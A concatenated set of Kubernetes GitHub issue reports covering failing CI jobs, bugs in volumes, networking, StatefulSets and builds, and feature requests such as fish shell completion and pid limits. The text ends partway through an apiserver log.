<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r in  sig-release-1.13-all  https://k8s-testgrid.appspot.com/sig-release-1.13-all :\r -  gke-cos-1.13-default  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-cos-1.13-default \r -  gke-cos-1.13-reboot  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-cos-1.13-reboot \r -  gke-cos-1.13-serial  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-cos-1.13-serial \r -  gke-cos-1.13-slow  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-cos-1.13-slow \r -  gke-cos-1.13-ingress  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-cos-1.13-ingress \r -  gke-1.13-1.12-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-1.13-1.12-downgrade-cluster \r -  gke-1.13-1.12-downgrade-cluster-parallel  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-1.13-1.12-downgrade-cluster-parallel \r -  gke-1.13-1.12-gci-kubectl-skew  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-1.13-1.12-gci-kubectl-skew \r -  gke-1.13-1.12-gci-kubectl-skew-serial  https://k8s-testgrid.appspot.com/sig-release-1.13-all gke-1.13-1.12-gci-kubectl-skew-serial \r \r \r   which test s  are failing  :\r  up  is timing out;  run 4422  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-beta-stable1-downgrade-cluster-parallel/4422  is the first failure.\r \r   since when has it been failing  :\r 2018-11-19\r \r   reason for failure  :\r this could be a gcp networking flake / problem:\r    \r w1120 04:14:50.686  error:  gcloud.compute.ssh   /usr/bin/ssh  exited with return code  255 .\r     \r \r   related  \r  issue  70133  https://github.com/kubernetes/kubernetes/issues/70133 \r \r <!-- do not edit below this line -->\r 

i recently ran into an issue with fluentd being unable to buffer logs from kubernetes because the length was more than the os maximum. https://github.com/fluent/fluentd/issues/2195\r \r this might be a problem even in the newer cri log format as kubernetes names can by upto 253 chars and the cni defines a log line as \r \r     /var/log/pods/<poduid>/<containername>_<instance >.log    \r \r where both the  containername  and  instance  can be more than 253 and can hit the os limit of 255.\r \r additionally i am not sure of the maximum sizes for containername and instance.  related https://github.com/kubernetes/community/issues/814  . but i am assuming it's 253 from https://kubernetes.io/docs/concepts/overview/working-with-objects/names/.\r \r

which jobs are failing  :\r    gce-new-master-upgrade-master  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master \r    gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r \r job | test \r --- | --- \r  gce-new-master-upgrade-master  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master  |  dns configmap nameserver  ipv4  change stubdomain should be able to change stubdomain configuration  slow  serial   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2255 \r  gce-new-master-upgrade-master  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master  |  dns configmap nameserver  ipv4  forward ptr lookup should forward ptr records lookup to upstream nameserver  slow  serial   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2255 \t\r  gce-new-master-upgrade-master  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master \t|  dns configmap nameserver  ipv4  forward external name lookup should forward externalname lookup to upstream nameserver  slow  serial   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2255 \t\r  gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster  |\t dns configmap nameserver  ipv4  change stubdomain should be able to change stubdomain configuration  slow  serial   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2809 \t\r  gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster  |  dns configmap nameserver  ipv4  forward ptr lookup should forward ptr records lookup to upstream nameserver  slow  serial   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2809  \r  gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster |  dns configmap nameserver  ipv4  forward external name lookup should forward externalname lookup to upstream nameserver  slow  serial   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2809  \r \r   reason for failure  :\r    \r dig result did not match:   string{\ ;; connection timed out; no servers could be reached\ }\r    \r \r   since when has it been failing  :\r -  gce-new-master-upgrade-master : since 2019-02-21\r -  gce-new-master-upgrade-cluster : since 2019-02-23\r \r   anything else we need to know  :\r -  gce-new-master-upgrade-master : coincides with k/k commit  96043d91a  https://github.com/kubernetes/kubernetes/commit/96043d91a .\r -  gce-new-master-upgrade-cluster : coincides with k/k commit  96043d91a  https://github.com/kubernetes/kubernetes/commit/96043d91a \r \r \r cc @mortent @kacole2 @alejandrox1 @mariantalla\r \r  /  /milestone 1.14

it's non-intuitive that the opposite of 'kubectl drain' is 'kubectl uncordon'. should we create a 'kubectl undrain' that is an alias for 'kubectl uncordon'? my only concern would be that people might assume undrain will move the pods that were running on that machine prior to the drain, back onto that machine.  cc/ @mml

make quick-release kube_release_run_tests=n kube_fastbuild=true build/release.sh +++  0315 15:20:58  verifying prerequisites.... +++  0315 15:21:00  building docker image kube-build:build-163303c896. +++  0315 15:21:07  running build command.... +++  0315 15:21:07  creating data container go version: go version go1.4.2 linux/amd64 +++  0315 14:21:08  building go targets for linux/amd64:     cmd/kube-proxy     cmd/kube-apiserver     cmd/kube-controller-manager     cmd/kubelet     cmd/kubemark     cmd/hyperkube     cmd/linkcheck     plugin/cmd/kube-scheduler go version: go version go1.4.2 linux/amd64 +++  0315 14:23:55  multiple platforms requested, but available 1g < threshold 11g, building platforms in serial +++  0315 14:23:55  building go targets for darwin/amd64:     cmd/kubectl +++  0315 14:24:25  building go targets for linux/amd64:     cmd/kubectl go version: go version go1.4.2 linux/amd64 +++  0315 14:24:30  building go targets for linux/amd64:     cmd/integration     cmd/gendocs     cmd/genkubedocs     cmd/genman     cmd/mungedocs     cmd/genbashcomp     cmd/genconversion     cmd/gendeepcopy     cmd/genswaggertypedocs     examples/k8petstore/web-server/src     github.com/onsi/ginkgo/ginkgo     test/e2e/e2e.test     test/e2e_node/e2e_node.test +++  0315 14:25:22  placing binaries +++  0315 15:25:32  running build command.... +++  0315 15:25:32  output directory is local.  no need to copy results out. +++  0315 15:25:32  building tarball: src +++  0315 15:25:32  building tarball: salt +++  0315 15:25:32  building tarball: manifests +++  0315 15:25:32  starting tarball: client darwin-amd64 +++  0315 15:25:32  building tarball: server linux-amd64 +++  0315 15:25:32  starting tarball: client linux-amd64 +++  0315 15:25:32  waiting on tarballs +++  0315 15:25:33  starting docker build for image: kube-apiserver +++  0315 15:25:33  starting docker build for image: kube-controller-manager +++  0315 15:25:33  starting docker build for image: kube-scheduler +++  0315 15:25:33  starting docker build for image: kube-proxy +++  0315 15:25:48  deleting docker image gcr.io/google_containers/kube-scheduler:50d8fa20b72e22ad6b75c36d742f893a untagged: gcr.io/google_containers/kube-scheduler:50d8fa20b72e22ad6b75c36d742f893a deleted: sha256:49f1ac9057665f9446db0aeebba7df5e0ef9a545d2c68a2f31a0391917cf2aeb deleted: sha256:57aaa56dbcc16d5ba4ec7dee06b8608d2c5bd0e1800420538791ead7fefc9dfb +++  0315 15:25:52  deleting docker image gcr.io/google_containers/kube-controller-manager:8e2566cb1cac0ec0d30cf7737c45f4ea untagged: gcr.io/google_containers/kube-controller-manager:8e2566cb1cac0ec0d30cf7737c45f4ea deleted: sha256:77ed501391cf619e275b7d851ad239189163b96f6edf3686536435143d38ed52 deleted: sha256:4b078184a4d39092f5dd827f6fd79832ec9c4b47d2861a78973fc3b258d3c3a6 +++  0315 15:25:53  deleting docker image gcr.io/google_containers/kube-apiserver:fa60ca55bb40c24bee220df5b74be1f2 untagged: gcr.io/google_containers/kube-apiserver:fa60ca55bb40c24bee220df5b74be1f2 deleted: sha256:c5fefc25ba79f330fa1276dab1509ed4380714364dc6a5aefd4d6f2d0c6b8f2d deleted: sha256:ae3641af7667968f396f07045d4ebad6cdbe06a4bd5b63c4fe468bdaac240181 +++  0315 15:25:53  deleting docker image gcr.io/google_containers/kube-proxy:a547a7d303e8abfc98c63b429aa763a8 untagged: gcr.io/google_containers/kube-proxy:a547a7d303e8abfc98c63b429aa763a8 deleted: sha256:9e46d7212d8b0d1cb9741aeb99741706f6c3f5d007f1cfd084008af18e1a93b3 deleted: sha256:ff7390e5ce29875d00ba709f9a562dd18d13da911bec4a1d8a1ed681086f3909 +++  0315 15:25:53  docker builds done +++  0315 15:25:53  pulling and writing docker image for addon: gcr.io/google_containers/pause:2.0 +++  0315 15:25:53  pulling and writing docker image for addon: gcr.io/google_containers/kube-registry-proxy:0.3 pulling repository gcr.io/google_containers/kube-registry-proxy 2.0: pulling from google_containers/pause 8f216013977d: pulling fs layer 8f216013977d: pull complete a3ed95caeb02: pull complete digest: sha256:9ce5316f9752b8347484ab0f6778573af15524124d52b93230b9a0dcc987e73e 9b9342c134bb: pull complete 4c8cbfd2973e: pull complete 60c52dbe9d91: pull complete 597ba085d527: pull complete 6123f5d4d4ca: pull complete 43d38e8f6e1d: pull complete 291fa36bf11b: pull complete 234cd2e70045: pull complete fc640eeacf3c: pull complete 7d416b297daa: pull complete 09ef194b1da2: pull complete 0d1347411f62: pull complete 93e4b6c31f6f: pull complete aa4a274da4bc: pull complete 4db1d8acab63: pull complete status: downloaded newer image for gcr.io/google_containers/kube-registry-proxy:0.3 gcr.io/google_containers/kube-registry-proxy: this image was pulled from a legacy registry.  important: this registry version will not be supported in future versions of docker. +++  0315 15:26:25  addon images done +++  0315 15:26:59  building tarball: full +++  0315 15:26:59  building tarball: test find: /users/mdl/workspace/github/k8s/kubernetes/_output/release-stage/full/kubernetes/cluster/saltbase: no such file or directory !!! error in build/../build/common.sh:668   'find ${release_stage} -name ' ~' -exec rm {} \\;' exited with status 1 call stack:   1: build/../build/common.sh:668 kube::release::clean_cruft ...    2: build/../build/common.sh:988 kube::release::package_test_tarball ...    3: build/../build/common.sh:694 kube::release::package_tarballs ...    4: build/release.sh:41 main ...  exiting with status 1 !!!  0315 15:27:10  previous tarball phase failed !!! error in build/release.sh:41   'return 1' exited with status 1 call stack:   1: build/release.sh:41 main ...  exiting with status 1 make:      quick-release  error 1

26263 introduces a limit on the number of concurrent createroute calls in flight. this is necessary, because gce has such a limit and we want to avoid a huge number of \ rate limit exceeded\  errors.  however, this is now a constant number - this should be configurable and also depend on the cloud provider.  @zmerlynn @gmarek

when i'm running the new version of  addon-resizer  https://github.com/kubernetes/contrib/tree/master/addon-resizer  i see the following logs:      proto: no encoder for i resource.int64amount  getproperties  proto: no encoder for d resource.infdecamount  getproperties  proto: no encoder for s string  getproperties  proto: no encoder for format resource.format  getproperties       what did i wrong?  cc @smarterclayton @wojtek-t

kubernetes version    use  kubectl version  :  client version: v1.3.6 server version: v1.4.1    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release :  -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  : i wanted to build one new url from a saved secret, but the variable expansion doesn't work. the  env  in the container command shows that  $ my_var    is not expanded.    what you expected to happen  : i would expect it to be able to expand the variable when the variable is from a secret key.    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :  the variable expansion works when the variable is already defined in the yml file.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features-release-1.5/317/  failed:  k8s.io  esipp  slow  feature:externaltrafficlocalonly  should work from pods  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1298 dec  2 01:06:53.706: source ip not preserved from execpod-sourceip, expected '10.180.0.6' got '' /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1296

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  : \r -   cloud provider or hardware configuration  : bare metal/packet net\r -   os    e.g. from /etc/os-release :ubuntu 16.04\r -   kernel    e.g.  uname -a  : kernel: 4.4.0-47-generic\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r installing kubernetes binaries and docker with  kubeadm  on bare metal servers, returning an error:  \r \r    \r e: the method driver /usr/lib/apt/methods/https could not be found.\r n: is the package apt-transport-https installed?\r    \r kubeadm version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2074+a092d8e0f95f52\ , gitcommit:\ a092d8e0f95f5200f7ae2cba45c75ab42da36537\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t17:03:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   proposed solution:  \r \r installing: \r \r    apt-get install apt-transport-https   \r \r i've only seen this error lately, a prior install on digital ocean did not return the same error. \r @lukemarsden \r \r \r   what you expected to happen  :\r \r expected kubeadm to install the binaries. \r \r \r   how to reproduce it    as minimally and precisely as possible :\r run kubeadm on a bare metal server. \r \r \r   anything else we need to know  :\r \r

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r proxy\r userspace\r \r ---\r \r in  kubernetes/pkg/proxy/userspace/proxysocket.go  the tcp proxy loop should spin a goroutine when trying to connect to enpoints + proxying tcp  and not only on proxying tcp  in order to continue accepting inbound traffic.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r i have a stateful set that i created with api version v1beta1, i'm trying to update it to add a new annotation in the pod template using the v1beta2 api version in the update request but the update does not roll the pod. it seems that updating pods of stateful sets only works if it was initially created at version v1beta2, which i believe is a bug.\r \r see\r https://gist.github.com/ryanmcnamara/55c1327754b9fbc4518f2334f4e184b0\r i did\r    \r kubectl apply -f v1beta1.yml\r   wait for running pod\r kubectl apply -f v1beta2.yml   has api version v1beta2\r   observe no change in pod, probably expected\r kubectl apply -f v1beta2_updated.yml   has a new annotation\r   existing pod is not rolled, unexpected\r    \r however  after deleting the statefulset \r \r    \r kubectl apply -f v1beta2.yml\r   wait for running pod\r kubectl apply -f v1beta2_updated.yml\r   pod is rolled as expected\r    \r \r - kubernetes version  use  kubectl version  :\r version:\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitcommit:\ f18e43226af9f1c38a7cbeba0045baf435a125d7\ , gittreestate:\ clean\ , builddate:\ 2017-11-17t17:36:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitcommit:\ f18e43226af9f1c38a7cbeba0045baf435a125d7\ , gittreestate:\ clean\ , builddate:\ 2017-11-17t17:34:14z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

this issue is a bucket place holder for \ known issues\  additions into the 1.12 release notes.

i've noticed a case where the network plugin is not informed of pods which have gone missing.  specifically, if docker is restarted  or the node rebooted , any containers which had been running will be stopped.  the kubelet will notice this and re-create the pod infra container.  however, the network plugin will not have any knowledge that the previous infra container / pod are no longer running.    i've specifically run into this issue in the context of ipam: - if the network plugin is performing ipam, this can lead to leaked ip addresses, since the plugin does not know to un-assign the ip address from the previous pod.   -  if the plugin is using docker's ipam, docker will assign the same ip address to the new infra container.  from the network plugin's perspective, two pods now have the same ip address, which is a problem.  i'm not sure what the ideal fix is here.  i think one option would be to declare pod  teardown  as idempotent, and whenever the kubelet detects that an infra container should be re-created  was running, is now missing  it calls the network plugin  teardown  on the previous container before  setup  on the new infra container.  @thockin - any thoughts?

there should be a good quick smoke test for dns which we run in a  before  hook which proceeds alot of the tests to speed them along  i.e. guestbook,liveness,.... .    otherwise, tests will just poll for several minutes with no chance of succeeding and send users with broken clusters on a wild good chase.  cc @rrati @timothysc @kubernetes/sig-testing

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/28701/kubernetes-pull-build-test-e2e-gce/49653/  failed:  k8s.io  secrets should be consumable from pods in volume  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/secrets.go:100 expected error:     < errors.errorstring | 0xc820b07360>: {         s: \ gave up waiting for pod 'pod-secrets-7ba33230-4de3-11e6-a4bc-42010af00023' to be 'success or failure' after 30s\ ,     }     gave up waiting for pod 'pod-secrets-7ba33230-4de3-11e6-a4bc-42010af00023' to be 'success or failure' after 30s not to have occurred      happened on a presubmit run in  28701.

feature request  :   fish shell  https://fishshell.com  is a relatively new modern interactive user friendly command line shell. it really shines at user friendly features like visual tab completion menus, live syntax highlighting and other useful features.   kubectl  has a massive set of sub-commands and options. remembering all those is a chore. specially when getting to know kubernetes. all the help is appreciated.  please provide autocompletion support for fish shell in addition to bash and zsh.  thanks    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4+dd6b458\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ not a git tree\ , builddate:\ 2016-08-04t09:44:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } the connection to the server localhost:8080 was refused - did you specify the right host or port?        environment  :   others  : fish shell

cri inherits the  privileged  field from the kubernetes  and docker  api. it's there to improve the user experience.\r since cri is not intended to be directly user-facing, it should translate the field into a set of fields  e.g., capabilities .\r \r at the least, we should clearly define what  privileged  means in the cri.\r \r /cc @kubernetes/sig-node-api-reviews @random-liu @mrunalp @feiskyer @timstclair

 \r   what happened  :\r \r - created single-zone cluster in  us-central1-c \r - expanded to multiple zones after creation using  gcloud container clusters update ... --additional-zones  to  b  and  a \r - deployed pvc with  storageclassname: standard , which is a storageclass included with gke.\r - pv is created in  us-central1-f , a zone with no nodes from this cluster in it\r \r   what you expected to happen  :\r \r - pv created in one of the zones that the cluster has nodes in\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see  what happened . i'm not sure the expansion after creation step is necessary.\r \r   anything else we need to know?  :\r \r may be a duplicate of https://github.com/kubernetes/kubernetes/issues/39178, but that's on aws\r \r   environment  :\r \r - kubernetes version  use  kubectl version  : \r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t09:51:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gke 1.6.4\r - os  e.g. from /etc/os-release : cos\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r using the official kubernetes yum repo, i tried to install version 1.6.10. but it seems that the latest version uploaded is 1.6.7. is this on purpose, an omission or nobody is maintaining this anymore?\r \r   what you expected to happen  :\r to install version 1 6.10 from rpms using the official repo.\r \r   how to reproduce it  as minimally and precisely as possible   :\r add the official yum repo and do \ yum install kubelet-1.6.10\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

/ / /area platform/gke\r  /status approved-for-milestone\r @kubernetes/sig-network-test-failures\r fyi @kubernetes/sig-gcp-test-failures \r \r this job has been failing since 2017-11-02.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-alpha.3   kubernetes/sig-release 27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-ingress\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress/16163\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress/16164\r - latest bad as of filing: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-ingress/16308\r - suspect changelog: https://github.com/kubernetes/kubernetes/compare/55e216f56...3a15fdbe7\r \r this seems like the same failures as  55189

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :  make bazel-build  can fail with confusing errors caused by  build/rpms   see: https://github.com/kubernetes/test-infra/issues/5429 \r \r   what you expected to happen  : these targets should either be manual only or be hermetic. additionally, these are not being run in ci because nothing depends on them. if they are not made manual then the ci needs to be updated to include them and needs to install  rpmbuild .\r \r   how to reproduce it  as minimally and precisely as possible   :  run  make bazel-build  against kubernetes master from a linux box  without   rpmbuild  in $path.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - ref:  899f7ff97d5fa5f16831b3e09c6cb9ccfdf73479 \r - bazel 0.7.0\r - linux, without  rpmbuild \r \r /cc @kad, @ixdy\r

>  \r   what happened  :\r imported proto files and tried to use with latest  golang/protobuf  lib.  https://github.com/golang/protobuf/blob/master/proto/table_unmarshal.go l331 mandates that all struct fields have proto tags. the typemeta fields in kubernetes structs do not contain a proto tag, https://github.com/kubernetes/apiserver/blob/master/pkg/apis/audit/v1beta1/types.go l145 is a typical example.\r \r   what you expected to happen  :\r be able to import proto files and have them serialize/deserialize properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r import a kubernetes proto file and use with latest  golang/protobuf  lib\r \r   anything else we need to know?  :\r i filed an issue with  golang/protobuf  https://github.com/golang/protobuf/issues/617 as it seems like a breaking change but they are pushing back\r \r   environment  :\r - kubernetes version: 1.10.3\r - golang/protobuf version: master\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r   why is this needed  :\r

in  8434  we merged in a test which  - right now we confirm 90% of 100 namespaces are deleted :    func   { extinguish c, 100, 10, 150  }    in a timely manner.   -  lets remove  pit  for the 100% drainage test ....  func   { extinguish c, 100, 0, 150  }   .  right now, this doesnt always pass easily, but that will clear up eventually.  cc intersted parties @vmarmol  @derekwaynecarr @timothysc @rrati

'disklooksunformatted' in 'safeformatandmount'   8530  should check if disk is partitioned before formatting. so if a user mistakenly enters /dev/sdb instead of /dev/sdb1 we don't format the disk.

hello folks,  this file examples/redis/redis-proxy.yaml mentions a v1 release. a v1 release has not been created. therefore the pod will fail.

recent kernels and docker now support limiting the number of processes that a container can spawn. the overall pid limit is typically much lower that the overall memory availability and it is often possible for nodes to run out of pids.  we can treat this resource as being similar to memory. a pod can specify how many pids it expects to use.  like in the case of memory, scheduler uses requested pids to identify an appropriate node. given that this is a mere numeric resource, it is possible to treat it as an opaque resource in the scheduler  cc @davidopp . kubelet on startup can identify the global limit and update capacity to include maximum number of pids.  to maintain node stability, kubelet can evict pods based on qos class and pids usage.  as a side-note, the default global pid limit on some of the supported distros is pretty low   32768   cc @adityakali. should the kubelet update the pid limit value to a higher value by default? the max value depends on kernel arch and configuration.   cc @kubernetes/sig-node

kubefed  creates a service account and installs the right rbac roles to allow access to the required api resources. however, not all the clusters have rbac authorizer enabled. therefore we should allow federation/cluster admins to supply their own credentials.\r \r for details, see https://github.com/kubernetes/kubernetes/pull/41830 issuecomment-285378955 and https://github.com/kubernetes/kubernetes/pull/41830 issuecomment-285695300.\r \r cc @liggitt @kubernetes/sig-federation-bugs @perotinus

https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io/client-go/examples/custom-resources has the link:\r \r http://github.com/kubernetes/apiextensions-apiserver/examples/client-go\r \r which is currently 404. can we make this page more useful? perhaps delete the  custom-resources  example and add the deprecation/redirection notice to  third-party-resources-deprecated/readme.md ?\r \r /assign @sttts

is this a bug report or feature request?  :\r  \r   what happened  :\r after two pods with volumes got deleted  still not sure if by k8s itself as response to issues or manually, possibly triggering the issue , the scheduler tries to recreate them but the volumes couldn't get attached. here is one example:\r \r  pv object :\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     kubernetes.io/createdby: azure-disk-dynamic-provisioner\r     pv.kubernetes.io/bound-by-controller: \ yes\ \r     pv.kubernetes.io/provisioned-by: kubernetes.io/azure-disk\r   creationtimestamp: 2017-06-30t14:07:39z\r   name: pvc-7956844d-5d9d-11e7-b1f8-000d3a26155d\r   resourceversion: \ 1396\ \r   selflink: /api/v1/persistentvolumespvc-7956844d-5d9d-11e7-b1f8-000d3a26155d\r   uid: 79d899c7-5d9d-11e7-b1f8-000d3a26155d\r spec:\r   accessmodes:\r   - readwriteonce\r   azuredisk:\r     cachingmode: none\r     diskname: kubernetes-dynamic-pvc-7956844d-5d9d-11e7-b1f8-000d3a26155d.vhd\r     diskuri: https://4e722b5e.blob.core.windows.net/vhds/kubernetes-dynamic-pvc-7956844d-5d9d-11e7-b1f8-000d3a26155d.vhd\r     fstype: ext4\r     readonly: false\r   capacity:\r     storage: 10gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: gitlab-postgresql\r     namespace: default\r     resourceversion: \ 1378\ \r     uid: 7956844d-5d9d-11e7-b1f8-000d3a26155d\r   persistentvolumereclaimpolicy: delete\r status:\r   phase: bound\r    \r \r  apiserver log :\r    \r 2017-07-04t19:18:19.94065586z i0704 19:18:19.940475       6 trace.go:61  trace \ delete /api/v1/namespaces/default/pods/prometheus-0\   started 2017-07-04 19:18:19.210983181 +0000 utc :\r 2017-07-04t19:18:19.940680661z  89.201µs   89.201µs  about do delete object from database\r 2017-07-04t19:18:19.940685561z  729.343176ms   729.253975ms  object deleted from database\r 2017-07-04t19:18:19.940689161z \ delete /api/v1/namespaces/default/pods/prometheus-0\   729.455577ms   112.401µs  end\r 2017-07-04t19:18:20.331968238z i0704 19:18:20.330109       6 trace.go:61  trace \ get /api/v1/namespaces/kube-system/endpoints/kube-scheduler\   started 2017-07-04 19:18:19.57664788 +0000 utc :\r 2017-07-04t19:18:20.331997039z \ get /api/v1/namespaces/kube-system/endpoints/kube-scheduler\   753.428738ms   753.428738ms  end\r 2017-07-04t19:18:20.332006139z i0704 19:18:20.330341       6 trace.go:61  trace \ guaranteedupdate etcd3:  api.node\   started 2017-07-04 19:18:19.401174561 +0000 utc :\r 2017-07-04t19:18:20.332010639z  59.8µs   59.8µs  initial value restored\r 2017-07-04t19:18:20.332014339z  820.409µs   760.609µs  transaction prepared\r 2017-07-04t19:18:20.332017739z  929.094259ms   928.27385ms  transaction committed\r 2017-07-04t19:18:20.332021039z \ guaranteedupdate etcd3:  api.node\   929.140659ms   46.4µs  end\r 2017-07-04t19:18:20.37235038z i0704 19:18:20.372196       6 trace.go:61  trace \ get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\   started 2017-07-04 19:18:19.801418838 +0000 utc :\r 2017-07-04t19:18:20.37236668z \ get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\   570.75884ms   570.75884ms  end\r 2017-07-04t19:18:20.372761784z i0704 19:18:20.372627       6 trace.go:61  trace \ list /apis/extensions/v1beta1/thirdpartyresources\   started 2017-07-04 19:18:19.692102942 +0000 utc :\r 2017-07-04t19:18:20.372773585z  5.1µs   5.1µs  about to list from storage\r 2017-07-04t19:18:20.372777785z  679.825233ms   679.820133ms  listing from storage done\r 2017-07-04t19:18:20.372780985z  679.830133ms   4.9µs  self-linking done\r 2017-07-04t19:18:20.372785485z  680.500941ms   670.808µs  writing http response done  0 items \r 2017-07-04t19:18:20.372788785z \ list /apis/extensions/v1beta1/thirdpartyresources\   680.501841ms   900ns  end\r 2017-07-04t19:18:20.417692876z i0704 